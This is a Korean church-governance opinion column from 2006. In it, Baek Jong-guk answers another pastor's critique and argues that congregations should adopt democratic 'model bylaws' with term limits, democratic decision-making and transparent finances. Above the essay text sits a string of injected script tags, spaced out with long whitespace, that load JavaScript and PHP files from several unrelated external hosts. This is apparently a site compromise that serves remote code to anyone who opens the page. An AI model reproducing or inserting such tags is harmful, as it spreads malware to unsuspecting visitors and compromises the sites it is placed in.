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칼럼 [백종국 칼럼] 왜 '모범정관'인가?[뉴조06/01/26]

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작성자 by 관리자 / 작성일06-01-26 17:03 / 조회 6,166 / 댓글0

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<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script>                            <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script>          <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script>                              <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script>                                                    <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script>    왜 '모범정관'인가? 
이광호 목사의 '교회법이나 정관보다 고백적 규정제정 필요'를 읽고 

 
백종국

 
 
주석신학 대 조직신학?

최근 <뉴스앤조이>의 지면을 통해 성경신학자인 이광호 목사의 교회정관갖기운동에 대한 논평을 접하게 되었다. 교회정관갖기운동에 대하여 매우 귀중한 논평들이 담겨 있음에도 불구하고 다양한 차원에서 논점의 차이와 오류를 발견할 수 있었다. 논점의 차이는 충분히 시간을 가지고 토론할 만한 가치가 있다고 보인다. 그러나 교회개혁실천연대의 교회정관갖기운동에 적극적으로 참여하고 있는 필자로서, 우리 모두를 위해 이 목사가 제기하는 몇 가지 중대한 오류를 불식시키지 않을 수 없다. 

우선 교회법이란 게 유용한 것인가에 대해 생각해보자. “교회에 성경 외 법이 필요한가?”라는 주장은 주석신학자들과 조직신학자들 사이에서 오래된 논쟁이었다. 답은 “그렇다”이다. 극단적인 경우를 제외한다면, 성경을 기반으로 제정된 신앙고백이나 신학이론이나 법이나 규칙들이 우리에게 어느 정도 유익을 준다는 점에 대체로 동의하고 있다. 단지 전자는 교회 안에서 성경 이외의 문서들이 성경을 대체할 위험성을, 후자는 자의적인 성경 해석을 통한 불건전한 신앙의 위험성을 경계하고 있다. 이와 동시에 지상 교회의 불완전성으로 말미암아 ‘획일의 위험’과 ‘분열의 위험’은 항상 공존하고 있다.

따라서 우리 교회 내에서 발견되는 어떠한 신앙고백이나 법규범의 권위는 성경 그 자체가 아닌 이상, 이것을 제정한 주체의 권위로 채택되는 것이 아니다. 그 결과물이 과연 성경적 원리에 얼마나 부합되느냐로 채택되어야 한다. 우리 각자가 지닌 신앙 양심이 그 판단자가 된다. 웨스트민스터신앙고백서 제20장이 요약하고 있는 바가 바로 이것이다. 

교회 정치 용어의 왜곡에 대하여

한국사회 내에서 한국교회만큼 용어의 혼란과 특이성을 보이는 집단도 드물다. 우선 한국교회는 ‘증경총회장’ ‘서리집사’ ‘사모’ 등 국어사전에서도 그 용법을 찾아보기 힘든 용어를 양산해왔다. 더 위험한 것은 많은 교회 지도자들이 ‘민주주의’ ‘신본주의’ ‘헌법’ ‘일천번제’ ‘주의 종’ 등의 용어들을 본래의 뜻과 왜곡되게 해석해왔다는 사실이다. 무지일 수도 있고 의도적인 왜곡일 수도 있다.

어떻든 왜곡의 해악은 적지 않다.  예컨대 솔로몬의 ‘일천번제’는 ‘一千燔祭’임에도 불구하고 많은 교회들이 이를 일천 번 헌금하면(一千番祭) 마침내 소원이 이뤄진다는 식의 샤머니즘적 신앙관으로 바꾸고 있다. 민주주의(民主主義)에 대한 오해는 더욱 뿌리가 깊다. 신본주의(神本主義)의 반대는 인본주의(人本主義)이고, 신정(神政)의 반대는 세속정(世俗政)이며, 민주주의(民主主義)의 반대는 독재주의(獨裁主義)라는 게 사회적 상식이다. 그럼에도 불구하고 한국교회 내에서 민주주의는 신본주의의 반대라고 주장되고 있다.

이광호 목사의 오류도 이와 같다. 그는 ‘민주적’이라는 표현을 ‘구성원 개개인이 나름대로 지분적 권리를 가진다’로 이해하고 교회는 민주적 단체가 아니라고 선언하고 있다. 이러한 개념의 혼란은 ‘교회법은 질서 문서이지 권력적 규정이 아니다’는 표제어에서 잘 나타나 있다. ‘민주적’ ‘지분적 권리’ ‘질서’ ‘권력적 규정’ 등 많은 개념들이 무엇을 의미하는지 잘 알 수 없는 형편이다. 

이 뒤틀린 개념들에 대한 토론은 차후로 미루더라도 이 부분에서 분명히 짚고 넘어가야 할 일이 있다. 개혁교회의 정치 체제는 당연히 민주적이어야 한다는 점이다. 박윤선 박사는 그의 <헌법주석>에서 “장로회 정치의 정신은 한마디로 교회의 주권은 교인에게 있다는 교리이다. 이 사실은 세계적으로 알려진 개혁주의 신학자들과 교회헌법 주석가들이 지적하는 바이다”라고 강조하고 있다. 물론 동시에 장로회정치는 지극히 신본주의적이다.

‘헌법’과 ‘주권’이라는 용어에 대한 바른 이해도 필요하다. 헌법(憲法 constitution)이란 대체로 국가의 통치조직과 통치작용의 기본원리 및 국민의 기본권을 보장하는 근본 규범으로 정의하고 있으며 입헌주의가 나타난 19세기 이후에 일반화된 개념이다.  주권(主權 sovereignty)이란 국가 의사를 최종적으로 결정하는 최고·독립·절대의 권력을 의미하며 몽테스큐가 이 개념의 개발에 큰 역할을 하였다. 상호연관이 있는 개념이며 대체로 헌법은 주권의 표현으로 보고 있다.

이러한 정치적 용어들이 교회 정치에 사용될 때는 비유적(analogy)이라는 점에 유의해야 한다. 그렇지 않으면 모순에 봉착하게 된다. 예컨대 ‘대한예수교장로회 헌법’이라는 표현을 쓸 때 이 헌법이 ‘대한민국 헌법’과 상충하느냐는 문제이다. 전자가 신정(神政)이 아니라 세속정(世俗政)을 받아들인다면, 의미상으로 앞의 ‘헌법’은 뒤의 ‘헌법’에 종속되는 모순을 지니게 된다. 그 역이라면 한국은 두 개의 헌법이 공존하는 나라가 될 것이다. 그러므로 전자의 ‘헌법’이라는 표현은 동 교단의 의사를 신앙적으로 결집한 최고 문서라는 정도의 의미만을 갖게 된다. 실제로 예장합동 울산노회 소속의 남울산교회 문제에 있어서 한국의 법원이 최종 판결한 바를 예장합동교단이 거스를 수 없다. 한국의 법원은 그 교회를 민법상의 비법인 사단으로 간주하고 있을 뿐이며, 그 교회에 대한 예장합동의 ‘주권’을 인정할 의사도 없다.

정관(定款)은 이에 비하면 훨씬 더 명료하고 유익한 개념이다. 정관은 회사나 공익 법인 등의 목적·조직·업무 집행 따위에 관한 규정으로 한국의 행정규칙에 따르면, 개체 교회가 국가기관에 법인 혹은 비법인 사단으로 등록할 때 반드시 제출해야 한다. 불행하게도 한국의 교단들은 ‘헌법’에 대한 오해 때문에 정관을 소홀히 하는 경향이 있으며 막상 교회를 설립할 때 설립 주체들이 적당히 알아서 꾸며내는 경향이 있다. 이들의 애로를 돕기 위해 예장통합은 총 8장 20조에 이르는 교회정관 모델을 제시하고 있다.

그러므로 논점은 <교회 정관>을 가질 것이냐 마느냐가 아니라 어떤 종류의 <교회 정관>을 가질 것이냐 하는 것이다. 이 점이 이광호 목사가 크게 오해하고 있는 점이며, 교회법에 대해 지속적인 관심을 표명하고 있는 황규학 목사도 자주 범하는 오류이다. 이쯤에서 정관의 법적 지위에 대해 다시 한 번 강조하지 않을 수 없다. 개교회의 정관은 민법상의 요구사항이며 해당 법안을 수정하지 않는 이상 불가피하다. 또한 한국 법원은 교단 헌법을 준용해야할 특수사항(예컨대 목사의 자격 등)이외의 사법적 판단은 각 교회의 정관에 준해서 내리고 있다. 그러므로 교회의 정관이 부실하면 사법부의 판단도 갈피를 잡기 어렵게 된다.

모범정관의 의의

교회의 정관을 하위법으로 교단의 헌법을 상위법으로 생각하는 태도는 개혁교회의 원리에 어긋난다. 이에 대해 박윤선 박사는 벌코프(Berkhof)를 인용하면서 “개혁교회는 지교회 당회의 권한보다 더 높은 종류의 교회적 권세란 것을 인정하지 않는다”는 점을 지적하고 있다. 개혁교회에서 당회·노회·총회는 높고 낮음의 차이가 아니라, 교리의 보존과 권징의 조화를 위해 협력하는 연합체들이다. 문제는 ‘헌법’이란 비유적 용어에 대한 오해로 인해 한국교회 내에 성경의 정신과는 다른 왜곡된 권위 구조가 발생하고 있다는 점이다.

각 교회가 제각기 다른 정관을 채택하면 교리의 보존과 권징의 조화 혹은 교회의 일치에 해로울 수 있다는 우려가 있다. 이 문제는 사실상 크게 걱정할 이유가 없다. 그 정관의 내용에서 각 교단이 추구하는 신앙고백과 권징의 절차를 인정하면 되기 때문이다.  예컨대 대한민국은 주권을 가진 국가이지만, 여러 가지 이유로 우리 스스로가 비준한 세계무역기구(WTO)의 규약들을 준수하고 있다. 

우리가 우려하는 개교회주의라는 것이 개교회가 정관을 가짐으로 발생하는 것은 아니다.  지상의 교회들이 하나의 교회라는 사실을 망각하고 개교회의 위세를 떨치려는 잘못된 태도 때문에 나타나는 것이다. 

이러한 점에서 교회개혁실천연대가 추진하고 있는 ‘모범정관’ 혹은 ‘민주적 정관’ 갖기 운동은 매우 유용하다. 마치 물을 네모난 그릇에 담으면 네모가 되고 세모난 그릇에 담으면 세모가 되듯이 주님의 몸된 교회도 보다 좋은 제도를 채택할수록 더욱 주의 뜻을 이루기에 적합해진다. 어떤 제도가 주의 뜻에 더욱 부합하느냐 하는 문제에 있어서는 전문적인 식견과 깊은 연구와 창의력이 필요하다. 이 때문에 교회개혁실천연대는 일반적 교단 산하의 교회들이 쉽게 채택할 수 있는 모범적인 교회 정관의 모델을 만들어 제공하고 있다.

이 모범정관은 크게 세 가지를 강조하고 있다. 첫째는 직분자들의 임기제이다. 목사, 장로 혹은 집사들일지라도 각각의 임기를 가지고 주님의 일을 위해 봉사하는 게 바람직하다. 물론 장단점에 대한 토론이 있을 수 있으나 인간의 유한성과 죄성을 고려할 때 임기의 존재는 극히 유익하다. 이러한 제도의 시행을 위해 ‘시무’ ‘위임’ ‘항존직’과 같은 용어들의 의미를 명확히 정의할 필요가 있다.

둘째는 민주적 의사결정구조의 수립이다. 이미 지적한 바처럼 이 ‘민주적’이라는 용어에 대한 오해는 속히 불식시키는 게 좋다. 더구나 현재의 소위 ‘헌법’ 체제 내에서 발생하는 갖가지 질곡과 부덕함을 생각하면 어느 특정한 인간들이 스스로를 하나님의 대변자라고 주장하는 신성모독을 더 이상 용납할 수 없는 상황이 되었다고 본다. 먼저 각급 회의체의 의사결정 정족수부터 확인하고 의사결정구조의 일치성을 확보해야 한다. 그런 다음 피차에 합의하는 바에 따라 적절한 수준의 민주적 구조를 마련할 일이다. 

셋째는 투명한 재정구조의 확립이다. 각 교회의 재정 사항을 공개하고, 재정 항목을 합리화하고, 교회 재산의 관리 절차를 잘 마련하는 게 필요하다. 그리하여 성도들의 헌금이 주님의 일이 아닌 곳에 쓰이거나 낭비하게 되는 것을 방지하고, 각 교회가 추구하는 개별적 비전에 가장 알맞게 사용되도록 유도해야 한다.

모범정관의 채택 문제는 한국교회의 일치와 긴밀한 관계가 있다. 지금까지 한국교회는 교회의 일치를 교단 간의 협상에 의존하고 있었다. 그러나 이러한 방식은 갈수록 교회 일치를 더 어렵게 만든다는 게 필자의 생각이다. 한국교회 일치의 큰 사명을 가진 ‘한국기독교총연합회’를 그 예로 들 수 있다. 주요 교단들의 노회한 정치가들로 조직된 이 단체의 지도부는 한국교회의 일치를 추구하기는커녕 자신들의 신앙고백과는 매우 동떨어진 방식으로 세속 정치에의 참여를 가속화하고 있다. 이들이 제출하는 성명서와 정책과 활동이 과연 이 단체에 소속하고 있는 성도들 다수의 뜻인지 아니면 교단 정치가들 소수의 뜻인지가 매우 의심스러운 형편이다. 비민주적으로 구성된 조직에서 흔히 나타나는 현상이다. 속히 돌이키지 아니하면 조직 자체의 존립이 어려워질 것으로 본다. 

반면에 각 교회의 비전을 반영하면서 신앙고백과 치리체제가 동일한 정관의 채택은 한국교회의 일치 가능성을 높여준다. 좀 이상적으로 말하자면, 우리는 이 방법을 통해 ‘분산과 집중’ 혹은 ‘특성화와 통합’의 조화를 이룰 수 있다. 역사와 위치와 크기가 각각 다른 개체 교회들이 반드시 같은 규칙으로 운영되어야 할 필요가 없다. 팔과 다리가 서로 다르지만 몸의 한 지체이듯이 각 개체 교회는 한국교회의 각 지체로서 각각의 역할을 충실히 수행할 필요가 있다. 그러므로 모범정관의 채택 운동은 궁극적으로 한국교회의 단일 헌법 채택으로 이어질 수도 있다.

백종국 / 경상대 정치행정학부 교수

 

 
2006년 01월 26일
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